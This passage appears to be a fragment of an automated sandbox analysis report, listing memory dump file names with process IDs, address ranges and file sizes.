                          • memory/30280-838-0x0000000008E20000-0x0000000008E32000-memory.dmp
                            Filesize

                            72KB

                          • memory/30280-836-0x0000000070E50000-0x0000000071860000-memory.dmp
                            Filesize

                            10.1MB

                          • memory/30280-837-0x000000000BA40000-0x000000000C046000-memory.dmp
                            Filesize

                            6.0MB

                          • memory/30280-816-0x0000000071860000-0x0000000072BEF000-memory.dmp
                            Filesize

                            19.6MB

                          • memory/30284-1352-0x0000000000000000-mapping.dmp
                          • memory/30308-1323-0x0000000000000000-mapping.dmp
                          • memory/30576-893-0x0000000002C5259C-mapping.dmp
                          • memory/30588-1384-0x0000000000000000-mapping.dmp
                          • memory/30640-1259-0x0000000000000000-mapping.dmp
                          • memory/30700-1415-0x0000000000000000-mapping.dmp
                          • memory/30840-1480-0x0000000000000000-mapping.dmp
                          • memory/31000-1517-0x0000000000000000-mapping.dmp
                          • memory/31176-1555-0x0000000000000000-mapping.dmp